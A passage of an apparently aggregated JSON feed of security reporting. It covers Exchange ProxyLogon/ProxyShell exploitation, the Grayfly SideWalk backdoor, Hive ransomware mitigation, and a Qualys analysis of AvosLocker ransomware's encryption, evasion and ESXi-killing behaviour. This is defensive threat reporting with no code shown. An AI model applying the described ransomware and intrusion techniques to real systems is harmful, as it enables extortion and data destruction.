do](<https://threatpost.com/hackers-update-age-old-excel-4-0-macro-attack/154898/>): It prompts targets to choose \u201cEnable Content\u201d to view a protected file.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22122626/Malicious-Microsoft-Excel-document--e1637602000585.png>)\n\nMalicious Microsoft Excel document. Source: Trend Micro.\n\nTrend Micro offered the chart below, which shows the Excel file infection chain.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22132511/Excel_file_infection_chain__Source-_Trend_Micro_-e1637605525630.jpg>)\n\nExcel file infection chain. Source: Trend Micro.\n\n## The Exchange Tell-Tales\n\nThe researchers believe that the actors are pulling it off by targeting users who are relying on Microsoft Exchange servers that haven\u2019t yet been patched for the notorious, [oft-picked-apart](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) [ProxyLogon](<https://threatpost.com/deadringer-targeted-exchange-servers-before-discovery/168300/>) and [ProxyShell](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) vulnerabilities.\n\nTrend Micro found evidence in the IIS logs of three compromised Exchange servers, each compromised in a separate intrusion, all having been exploited via the vulnerabilities [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>), [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) and [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) \u2013 the same CVEs used in ProxyLogon (CVE-2021-26855) and ProxyShell (CVE-2021-34473 and CVE-2021-34523) intrusions, according to Trend Micro.\n\nThe IIS log also showed that the threat actor is using a [publicly available](<https://github.com/Jumbo-WJB/Exchange_SSRF>) exploit in its attack. \u201cThis exploit gives a threat actor the ability to get users SID and emails,\u201d the researchers explained. \u201cThey can even search for and download a target\u2019s emails.\u201d\n\nThe researchers shared evidence from the IIS logs, replicated below, that depicts the exploit code.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22125426/Exploiting-CVE-2021-26855-as-seen-in-the-IIS-logs-e1637603679782.png>)\n\nExploiting CVE-2021-26855, as demonstrated by the IIS logs. Source: Trend Micro.\n\nMicrosoft fixed the ProxyLogon vulnerabilities in [March](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) and the ProxyShell vulnerabilities in [May](<https://threatpost.com/wormable-windows-bug-dos-rce/166057/>). Those who\u2019ve applied the [May or July](<https://techcommunity.microsoft.com/t5/exchange-team-blog/proxyshell-vulnerabilities-and-your-exchange-server/ba-p/2684705>) updates are protected from all of these. Microsoft has [reiterated](<https://techcommunity.microsoft.com/t5/exchange-team-blog/proxyshell-vulnerabilities-and-your-exchange-server/ba-p/2684705>) that those who\u2019ve applied the ProxyLogon patch released in [March](<https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/>) aren\u2019t protected from ProxyShell vulnerabilities and should install the more recent security updates.\n\n## How to Fend Off ProxyLogon/ProxyShell Attacks\n\nExploiting ProxyLogon and ProxyShell enabled the attackers to slip past checks for malicious email, which \u201chighlights how users [play] an important part in the success or failure of an attack,\u201d Trend Micro observed. These campaigns \u201cshould make users wary of the different tactics used to mask malicious emails and files,\u201d the researchers wrote.\n\nIn other words, just because email comes from a trusted contact is no guarantee that any attachment or link it contains can be trusted, they said.\n\nOf course, patching is the number one way to stay safe, but Trend Micro gave these additional tips if that\u2019s not possible:\n\n * Enable virtual patching modules on all Exchange servers to provide critical level protection for servers that have not yet been patched for these vulnerabilities.\n * Use endpoint detection and response (EDR) solutions in critical servers, as it provides visibility to machine internals and detects any suspicious behavior running on servers.\n * Use endpoint protection design for servers.\n * Apply sandbox technology on email, network and web to detect similar URLs and samples.\n\n_**There\u2019s a sea of unstructured data on the internet relating to the latest security threats. REGISTER TODAY to learn key concepts of natural language processing (NLP) and how to use it to navigate the data ocean and add context to cybersecurity threats (without being an expert!). This [LIVE, interactive Threatpost Town Hall](<https://threatpost.com/webinars/security-threats-natural-language-processing/?utm_source=In+Article&utm_medium=article&utm_campaign=Decoding+the+Data+Ocean:+Security+Threats+%26+Natural+Language+Processing&utm_id=In+Article>), sponsored by Rapid 7, will feature security researchers Erick Galinkin of Rapid7 and Izzy Lazerson of IntSights (a Rapid7 company), plus Threatpost journalist and webinar host, Becky Bracken. **_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-22T19:26:25", "type": "threatpost", "title": "Attackers Hijack Email Using Proxy Logon/Proxyshell Flaws", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-11-22T19:26:25", "id": "THREATPOST:836083DB3E61D979644AE68257229776", "href": "https://threatpost.com/attackers-hijack-email-threads-proxylogon-proxyshell/176496/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-09-09T14:38:24", "description": "The novel backdoor technique called [SideWalk](<https://threatpost.com/sparklinggoblin-apt/168928/>), seen in campaigns targeting US media and retailers late last month, has been tied to an adversary that\u2019s been around for quite a while: namely, China-linked Grayfly espionage group.\n\nESET researchers, who named and discovered the new \u201cSparklingGoblin\u201d advanced persistent threat (APT) actor behind SideWalk, [reported](<https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/>) at the time that the group is an offshoot of another APT \u2013 Winnti Group \u2013 first identified in 2013 by Kaspersky.\n\nESET also said that the SideWalk backdoor is similar to one used by [Winnti](<https://threatpost.com/black-hat-linux-spyware-stack-chinese-apts/158092/>) (aka APT41, Barium, Wicked Panda or Wicked Spider, an APT [known for](<https://threatpost.com/apt41-operatives-indicted-hacking/159324/>) nation state-backed cyberespionage and financial cybercrime) called CrossWalk (Backdoor.Motnug). Both CrossWalk and SideWalk are modular backdoors used to exfiltrate system information and can run shellcode sent by the command-and-control (C2) server.\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nAccording to a [report](<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware>) published by Symantec on Thursday, the SideWalk malware has been deployed in recent Grayfly campaigns against organizations in Taiwan, Vietnam, the US and Mexico. Symantec\u2019s Threat Hunter Team has observed recent campaigns that have involved exploits targeting Exchange and MySQL servers.\n\nBesides attacking organizations in the IT, media and finance sectors, the group also has zeroed in on the telecoms sector, according to the report.\n\n## Indicted but Undeterred\n\nThe US [indicted](<https://www.justice.gov/opa/pr/seven-international-cyber-defendants-including-apt41-actors-charged-connection-computer>) several members of APT41 in September 2020, all of them Chinese residents and nationals. A Federal grand jury charged them with pulling off dozens of crimes, including allegedly facilitating \u201d the theft of source code, software code-signing certificates, customer-account data and valuable business information,\u201d which in turn \u201cfacilitated other criminal schemes, including ransomware and cryptojacking.\u201d\n\nAs the Department of Justice (DOJ) said at the time, one of the defendants \u2013 Jiang Lizhi \u2013 allegedly bragged about having a \u201cworking relationship\u201d with the Chinese Ministry of State Security: a relationship that would give him and his alleged co-conspirators a degree of state protection.\n\nAccording to Symantec researchers, the SideWalk campaign suggests that the [arrests and the publicity](<https://threatpost.com/apt41-operatives-indicted-hacking/159324/>) can\u2019t have made much of a dent in the group\u2019s activity.\n\n## **Pesky Grayfly**\n\nYou might know Grayfly better by its also-known-as\u2019s, which include GREF and Wicked Panda. Symantec said that even though the Grayfly APT is sometimes labeled APT41, its researchers consider Grayfly to be a distinct arm of APT41 that\u2019s devoted to espionage. This is similar to how Symantec separately tracks other sub-groups of APT41, such as Blackfly, the APT\u2019s cybercrime arm.\n\nGrayfly, a targeted attack group, has been around since at least March 2017, using the CrossWalk/Backdoor.Motnug (aka TOMMYGUN) backdoor. The group has also wielded a custom loader called Trojan.Chattak, Cobalt Strike (aka Trojan.Agentemis, the legitimate, commercially available tool used by network penetration testers and, increasingly, [by crooks](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>)) and ancillary tools in its attacks.\n\nResearchers have seen Grayfly targeting a number of countries in Asia, Europe, and North America across a variety of industries, including food, financial, healthcare, hospitality, manufacturing and telecommunications. Recently, it\u2019s continued to torment telecoms, but it\u2019s also been going after the media, finance and IT service providers.\n\nGrayfly\u2019s typical modus operandi is to target publicly facing web servers to install web shells for initial intrusion before spreading further within the network, Symantec said. After it has penetrated a network, Grayfly then might install its custom backdoors onto more systems. That gives the operators remote access to the network and proxy connections that enable them to access hard-to-reach segments of a target\u2019s network, according to the writeup.\n\n## **Walking the Slippery SideWalk **\n\nSymantec researchers observed that in the recent SideWalk campaign, Grayfly looked to be particularly interested in attacking exposed Microsoft Exchange or MySQL servers, suggesting that \u201cthe initial vector may be the exploit of multiple vulnerabilities against public-facing servers.\u201d\n\nIn fact, the Cybersecurity & Infrastructure Security Agency (CISA) recently put out an urgent [alert](<https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell>) about a [surge in ProxyShell attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>), as attackers launched 140 web shells against 1,900 unpatched Microsoft Exchange servers. Security researchers at Huntress reported seeing [ProxyShell vulnerabilities](<https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit>) being actively exploited throughout the month of August to install backdoor access once the [ProxyShell exploit code](<https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1>) was published on Aug. 6: A few weeks later, the surge hit.\n\nIn at least one of the SideWalk attacks that Symantec researchers observed, the suspicious Exchange activity was followed by PowerShell commands used to install an unidentified web shell. That may sound familiar, given that one of the vulnerabilities Huntress described last month was CVE-2021-34523: a bug that enables malicious actors to execute arbitrary code post-authentication on Microsoft Exchange servers due to a flaw in the PowerShell service not properly validating access tokens.\n\nThe Grayfly attackers executed the malicious SideWalk backdoor after the web shell was installed. Then, they deployed a tailor-made version of the open-source, credential-dumping tool Mimikatz that Symantec said has been used in earlier Grayfly attacks. Symantec\u2019s report does a deep dive on the technical details, including indicators of compromise.\n\nExpect more to come, researchers said, since this fly isn\u2019t likely to buzz off: \u201cGrayfly is a capable actor, likely to continue to pose a risk to organizations in Asia and Europe across a variety of industries, including telecommunications, finance, and media. It\u2019s likely this group will continue to develop and improve its custom tools to enhance evasion tactics along with using commodity tools such as publicly available exploits and web shells to assist in their attacks.\u201d\n\n**It\u2019s time to evolve threat hunting into a pursuit of adversaries. **[**JOIN**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** Threatpost and Cybersixgill for **[**Threat Hunting to Catch Adversaries, Not Just Stop Attacks**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** and get a guided tour of the dark web and learn how to track threat actors before their next attack. **[**REGISTER NOW**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** for the LIVE discussion on September 22 at 2 PM EST with Cybersixgill\u2019s Sumukh Tendulkar and Edan Cohen, along with researcher and vCISO Chris Roberts and Threatpost host Becky Bracken.**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-09T14:30:56", "type": "threatpost", "title": "SideWalk Backdoor Linked to China-Linked Spy Group \u2018Grayfly\u2019", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34523"], "modified": "2021-09-09T14:30:56", "id": "THREATPOST:1CEC18436389CF557E4D0F83AE022A53", "href": "https://threatpost.com/sidewalk-backdoor-china-espionage-grayfly/169310/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "pentestpartners": [{"lastseen": "2023-05-15T15:16:47", "description": "\n\n### Why Now?\n\nHive is not a new problem. It first surfaced in 2021 but it\u2019s becoming a much bigger issue now. This is due to a growing number of affiliates and therefore attacks. 2022 has seen more widespread country and industry target interest too.\n\nRansomware growth in general is becoming a massive problem, so much so that these incidents now make up the majority of UK government [crisis management COBRA meetings](<https://therecord.media/ransomware-incidents-now-make-up-majority-of-british-governments-crisis-management-cobra-meetings/>).\n\n### What is Hive Ransomware?\n\nHive is ransomware-as-a-service (RaaS). It\u2019s maintained by dedicated developers with affiliates using it to conduct high impact ransomware attacks with far reaching consequences.\n\nHive is organised in such a way that they have customer service, help desk, and sales departments. Victims are even directed to log in to a portal to make payment, using credentials the attackers drop in one of the files they leave behind after an attack.\n\n### Who is this Threat Group?\n\nThe Hive gang is a Ransomware as a Service (RaaS) provider first identified in June 2021. Although relatively new, their aggressive tactics and ever evolving malware variants have made them one of the most successful RaaS groups of its kind.\n\nIt's claimed some big victims, for example [Tata Power just one month ago](<https://www.bleepingcomputer.com/news/security/hive-claims-ransomware-attack-on-tata-power-begins-leaking-data/>).\n\n### How are they targeting victims?\n\nPhishing emails are sent with malicious payloads (e.g. Cobalt Strike) to get VPN credentials, and then scan for vulnerable remote desktop servers for lateral movement.\n\n### What do they do once they're inside?\n\nIt's all about data exfiltration, with encryption of files on the network.\n\n### Why should I act now?\n\nCybersecurity experts largely believe Hive is allied with Conti. The Hive ransomware gang is just over a year old but has already allied with more traditional ransomware groups, promoting itself as one of the top three most active ransomware groups in July 2022.\n\nThe gang is more active and aggressive than ever, with the affiliates attacking between three to five organisations every day since the operation became known in late June 2021.\n\nOn 17th November 2022 the hacker group claimed responsibility of taking down a USA based health care provider. Hive appears to have demanded a ransom of $900,000. In exchange, the organisation would agree to delete all the data.\n\nTechRepublic amongst other outlets on the on 25th October 2022 named Hive Ransomware within the current top four most dangerous and destructive ransomware groups of 2022. Attacks from this gang alone jumped by 188% from February to March 2022, according to NCC\u2019s March Cyber Threat Pulse report. This ransomware variant was also one of the top four most observed in Q3 of 2022 it is expected to only get more prominent as more affiliates use RaaS with new vulnerabilities such as zero-day attacks to aid in initial intrusion.\n\nIn Q3 2022 Hive ransomware hit 15 countries, with the US and UK being the top targets, respectively.\n\nThe ransomware is super-fast, capable of encrypting 4GB of data per minute. Hive hires penetration testers, access brokers, and other threat actors who continue to develop the threat, techniques, and tactics.\n\nIn May 2022 the gang targeted Costa Rica when the country was reeling from a cyberattack by Conti. Only weeks after the Costa Rican president declared an emergency following that first ransomware attack Hive joined in and crippled the country\u2019s public health service, the Costa Rican Social Security Fund.\n\n### Has it really got more serious? Why should I be concerned?\n\nHive ransomware was last upgraded in July 2022, according to Microsoft Threat Intelligence Centre (MSTIC). Researchers noted that Hive migrated its malware code from GoLang to Rust last month. Rust offers memory, data type, thread safety, deep control over low-level resources, a user-friendly syntax, access to a variety of cryptographic libraries, and is relatively more difficult to reverse-engineer.\n\nThe July update also includes string encryption and more complicated encryption mechanisms that leverage Elliptic Curve Diffie-Hellmann (ECDH) with Curve25519 and XChaCha20-Poly1305 (authenticated encryption with ChaCha20 symmetric cipher). Instead of embedding an encrypted key in each file that it encrypts, it generates two sets of keys in memory, uses them to encrypt files, and then encrypts and writes the sets to the root of the drive it encrypts, both with .key extension.\n\n### I run Linux so I'm OK, right?\n\nHive introduced Linux and FreeBSD encryption capabilities in October 2021. At the time ESET, who discovered these capabilities, clarified that the Linux variant of the ransomware was functionally inadequate compared to its Windows variant. 'Functionally inadequate' doesn't mean that Linux is safe though.\n\n### What have Hives core target industries looked like?\n\nThe industrials sector is still the most common target however hive have broadened their target victims to include energy, resources, agriculture, academic, educational, science institutions, car dealerships, financial, media, electronic distributers and healthcare. In November 2022 Q3, the Hive ransomware hit 15 countries, with the U.S. and the U.K. as the top two targets respectively.\n\n### What can be done to mitigate?\n\nBetter focus on preventing social engineering attacks, adopt defines-in-depth combination of policies, technical defences, and education for end users\u201d Human errors is currently responsible for 82% of data breaches according to Verizon\u2019s 2022 Data Breach Investigations Report.\n\nPatch patch patch! Monitor the CISA\u2019s Known Exploited Vulnerability Catalogue to identify weaknesses.\n\nHive is famously seeking targets using vulnerable Exchange Servers, with some of the critical vulnerabilities and inclusive patch information detailed below:\n\n * [CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>) - Microsoft Exchange Server Security Feature Bypass Vulnerability\n * [CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>) - Microsoft Exchange Server Remote Code Execution Vulnerability\n * [CVE-2021-34523](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>) - Microsoft Exchange Server Privilege Escalation Vulnerability\n\nImplement, develop phishing-resistant multi-factor authentication (MFA) technique.\n\nWhere SIEM or ELK Stack solutions are in force, develop the decoders and rules.\n\n### Hive is in my organisation, what happens now and what should I do?\n\nI strongly encourage organisations to start action now to mitigate and reduce the risk and impact of ransomware incidents. Below are areas to focus on when looking at your SIEM, EDR and monitoring solutions.\n\nOnce in your estate Hive ransomware will immediately start working on evasion detection, by executing processes. This is how you deal with it.\n\n**Hive behaviour:** Identify processes related to backups, antivirus/anti-spyware, and file copying and then terminating those processes to facilitate file encryption. \n**Advice:** NGAVs will typically pick up on this behaviour these days, however offsite backups should be adopted.\n\n**Hive behaviour:** Remove all existing shadow copies and stop the volume shadow copy services via vssadmin on command line or via PowerShell. \n**Advice:** NGAVs will typically pick up on this behaviour these days, however offsite backups should be adopted.\n\n**Hive behaviour:** Delete Windows event logs, specifically the System, Security and Application logs. \n**Advice:** Make sure you are forwarding logs to an external source that cannot be moved to laterally by the threat actors, ensure logs are also replicated elsewhere or offline storage/backup is utilised which can later be restored.\n\nAlso, implement data backups and encrypt data at rest, also practice your recovery procedures with regular drills.\n\nQuickly isolate any infected devices to prevent the ransomware from spreading further throughout your network. To do this, IT administrators must have up-to-date knowledge of all assets in the organisation and the tools to easily manage them, depending on how far the attack is in progress it may be prudent to shut down affected machines immediately, if backups are not available a provider may be able to perform data carving on offline-disks however this is a long-winded process so concentrate on you most critical data assets.\n\nIf your data has been stolen, take steps to protect your company and notify those who might be affected. It is recommended to report the attack right away to the authorities who may have knowledge of other attacks and can aid in an investigation by sharing knowledge.\n\nContact us if you need help.\n\nThe post [Hive Ransomware is on the rise. How should you deal with it?](<https://www.pentestpartners.com/security-blog/hive-ransomware-is-on-the-rise-how-should-you-deal-with-it/>) first appeared on [Pen Test Partners](<https://www.pentestpartners.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-11-18T06:44:42", "type": "pentestpartners", "title": "Hive Ransomware is on the rise. How should you deal with it?", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-11-18T06:44:42", "id": "PENTESTPARTNERS:77A7D085A837F9542DA633DA83F4A446", "href": "https://www.pentestpartners.com/security-blog/hive-ransomware-is-on-the-rise-how-should-you-deal-with-it/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "qualysblog": [{"lastseen": "2022-03-07T05:27:25", "description": "_AvosLocker is a ransomware group that was identified in 2021, specifically targeting Windows machines. Now a new variant of AvosLocker malware is also targeting Linux environments. In this blog, we examine the behavior of these two AvosLocker Ransomware in detail._\n\nAvosLocker is a relatively new ransomware-as-a-service that was first spotted in late June 2021. The attackers use spam email campaigns as initial infection vectors for the delivery of the ransomware payload. During the encryption, process files are appended with the ".avos" extension. An updated variant appends with the extension ".avos2". Similarly, the Linux version appends with the extension ".avoslinux".\n\nAfter every successful attack, the AvosLocker gang releases the names of their victims on the Dark Leak website hosted on the TOR network and provides exfiltrated data for sale. URL structure: `hxxp://avosxxx\u2026xxx[.]onion`\n\nThe AvosLocker gang also advertises their latest ransomware variants on the Dark Leak website. URL structure: `hxxp://avosjonxxx\u2026xxx[.]onion`\n\nThe gang has claimed, \u201cThe AvosLocker's latest Windows variant is one of the fastest in the market with highly scalable threading and selective ciphers.\u201d They offer an affiliate program that provides ransomware-as-a-service (RaaS) for potential partners in crime.\n\nRecently they have added support for encrypting Linux systems, specifically targeting VMware ESXi virtual machines. This allows the gang to target a wider range of organizations. It also possesses the ability to kill ESXi VMs, making it particularly nasty.\n\nAccording to [deepweb research](<https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/>) by Cyble Research Labs, the Threats Actors of AvosLocker ransomware groups are exploiting Microsoft Exchange Server vulnerabilities using Proxyshell, compromising the victim\u2019s network.\n\nCVEs involved in these exploits are CVE-2021-34473, CVE-2021-31206, CVE-2021-34523, and CVE-2021-31207.\n\n### Technical Analysis of AvosLocker Windows Variant\n\n#### Command-Line Options\n\nThe following figure shows a sample of Command-Line Options.\n\nFig. 1: Command Line Option\n\nThe available options allow for control over items like enabling/disabling SMB brute force, mutex creation, or control over the concurrent number of threads. \nIf no options are given, the malware runs with default options as shown in figure 2, where it ignores encryption of network drives and SMB share. It runs 200 threads concurrently of its file encryption routine.\n\nFig. 2: Execution with Default Parameter\n\nWhile execution, the malware console displays detailed information about its progress on the screen (fig. 3).\n\nFig. 3: Progress Details\n\nMost of the strings in the malware are kept in the XOR encrypted format. The decryption routines are similar, only registers and keys are different (fig. 4). Strings are decrypted just before their use.\n\nFig. 4: Commonly Used Decryption Routine\n\nInitially, the malware collects the command line options provided while launching the application (fig. 5).\n\nFig. 5: Get command-line Options\n\nThen it decrypts the mutex name \u201cCheic0WaZie6zeiy\u201d and checks whether it is already running or not to avoid multiple instances (fig. 6).\n\nFig. 6: Mutex Creation\n\nAs shown in figure 7, AvosLocker uses multi-threaded tactics. It calls the below APIs to create multiple instances of worker threads into memory and share file paths among multiple threads. Smartly utilizing the computing power of multi-core CPUs.\n\nAPIs called:\n\n * CreateIoCompletionPort()\n * PostQueuedCompletionStatus()\n * GetQueuedCompletionPort()\n\nFig. 7: Use of CreateIoCompletionPort\n\nThe code creates multiple threads in a loop (fig. 8). The threads are set to the highest priority for encrypting data quickly.\n\nFig. 8: Create Thread In-Loop and Set Priority\n\nAvosLocker ransomware performs a recursive sweep through the file system (fig. 9), searches for attached drives, and enumerates network resources using API WNetOpenEnum() and WnetEnumResource().\n\nFig. 9: Search Network Share\n\nBefore selecting the file for encryption, it checks for file attributes and skips it if \u201c**FILE_ATTRIBUTE_HIDDEN**\u201d or \u201c**FILE_ATTRIBUTE_SYSTEM**\u201d as shown in figure 10.\n\nFig. 10: Check File Attribute\n\nOnce the file attribute check is passed, it performs the file extension check. It skips files from encryption if its extension gets matched with one of the extensions shown in figure 11.\n\nFig. 11: Skip Extension List\n\nIt also contains the list of files and folders that need to be skipped from the encryption (fig. 12).\n\nFig. 12: Skip File Folder List\n\nAvosLocker uses RSA encryption, and it comes with a fixed hardcoded ID and RSA Public Key of the attacker (fig. 13).\n\nFig. 13: Hardcoded Public Key\n\nAfter file encryption using RSA, it uses the ChaCha20 algorithm to encrypt encryption-related information (fig. 14).\n\nFig. 14: Use of ChaCha20\n\nIt appends this encryption-related information (fig. 15) at the end of the file with Base64 encoded format.\n\nFig.15: Encryption Related Information\n\nThen it appends the "avo2" extension to the file using MoveFileWithprogressW (fig. 16).\n\nFig. 16: Add Extension Using Move File\n\nAs seen in figure 17, it has appended "avos2" extensions.\n\nFig. 17: File with Updated Extension\n\nIt writes a ransom note (fig. 18) named \u201cGET_YOUR_FILES_BACK.txt\u201d to each encrypted directory before encryption of the file.\n\nFig. 18: Ransom Note\n\nThe ransom note instructs the user to not to shut down the system in case encryption is in progress to avoid file corruption. It asks the victim to visit the onion address with the TOR browser to pay the ransom and to obtain the decryption key to decrypt the application or files.\n\n#### AvosLocker Payment System\n\nAfter submitting the "ID" mentioned on the ransom note to AvosLocker's website (fig. 19), the victim will be redirected to the "payment" page.\n\nFig. 19: AvosLocker's Website\n\nIf the victim fails to pay the ransom, the attacker then puts the victim\u2019s data up for sale. Figure 20 shows the list of victims (redacted for obvious reasons) mentioned on the site.\n\nFig. 20: List of Victims\n\nAvosLocker also offers an affiliate program that provides ransomware-as-a-service (RaaS). They provide \u201chelpful\u201d services to clients such as:\n\n * Supports Windows, Linux & ESXi.\n * Affiliate panel\n * Negotiation panel with push & sound notifications\n * Assistance in negotiations\n * Consultations on operations\n * Automatic builds\n * Automatic decryption tests\n * Encryption of network resources\n * Killing of processes and services with open handles to files\n * Highly configurable builds\n * Removal of shadow copies\n * Data storage\n * DDoS attacks\n * Calling services\n * Diverse network of penetration testers, access brokers and other contacts\n\nFig. 21: Partnership Program\n\n### Technical Analysis of AvosLocker Linux Variant\n\nIn this case, the AvosLocker malware arrives as an elf file. As shown in figure 22, the analyzed file is x64 based Linux executable file.\n\nFig. 22: File Details\n\nIt\u2019s a command-line application having some command-line options (fig. 23).\n\nFig. 23: Command-Line Options\n\nThe `<Thread count>` parameter as shown above represents the number of threads that can be created to encrypt files simultaneously. It possesses the capability to kill ESXi VMs based on the parameter provided while executing.\n\nUpon execution, the malware first collects information about the number of threads that need to be created. Then it checks for string \u201cvmfs\u201d in the file path provided as a command-line argument (fig. 24).\n\nFig. 24: Checks for \u201cvmfs\u201d\n\nAfter that, it also checks for string \u201cESXi\u201d in the file path provided as a command-line argument (fig. 25).\n\nFig. 25: Checks for \u201cESXi\u201d\n\nIf this parameter is found, then it calls a routine to kill the running ESXi virtual machine (fig. 26).\n\nFig. 26: Code to Kill ESXi Virtual Machine\n\nThe command used for killing the ESXi virtual machine is as shown in figure 27.\n\nFig. 27: Command to Kill Running ESXi Virtual Machine\n\nFurther, AvosLocker drops a ransom note file (fig. 28) at the targeted directory.\n\nFig. 28: Create ransom note\n\nAfter that, it starts creating a list of files that must be encrypted. Before adding a file path to the list, it checks whether it is a regular file or not (fig. 29). Only regular files are added to the encryption list.\n\nFig. 29: Checks File Info\n\nAvosLocker skips the ransom note file and any files with the extension \u201cavoslinux\u201d from adding into the encryption list (fig. 30).\n\nFig. 30: Skip \u201cavoslinux\u201d Extension File\n\nThen it calls the mutex lock/unlock API for thread synchronization as shown in figure 31.\n\nFig. 31: Lock-Unlock Mutex for Thread Synchronization\n\nBased on the number of threads specified, it creates concurrent CPU threads (fig. 32). This helps in encrypting different files simultaneously at a very fast speed.\n\nFig. 32: Create Threads in Loop\n\nAvosLocker\u2019s Linux variant makes use of Advanced Encryption Standard (AES) and elliptic-curve cryptography (ECC) algorithms for data encryption.\n\nFile-related information along with the encryption key used might be encrypted and then encoded with base 64 formats. This encoded information is added at the end of each encrypted file (fig. 33).\n\nFig. 33: File-related Info added at the end\n\nFigure 34 shows the malware appending the extension \u201c.avoslinux\u201d to the encrypted file names.\n\nFig. 34: Append file extension \u201c.avoslinux\u201d after encryption\n\nBefore starting file encryption, it creates a ransom note named \u201cREADME_FOR_RESTORE \u201c. The content of this ransom note is shown in figure 35.\n\nFig. 35: Ransom Note\n\nThe ransom note instructs the victim not to shut down the system in case encryption is in progress to avoid file corruption. It asks the victim to visit the onion address with a TOR browser to pay the ransom and to obtain the decryption key and decryption application.\n\n### 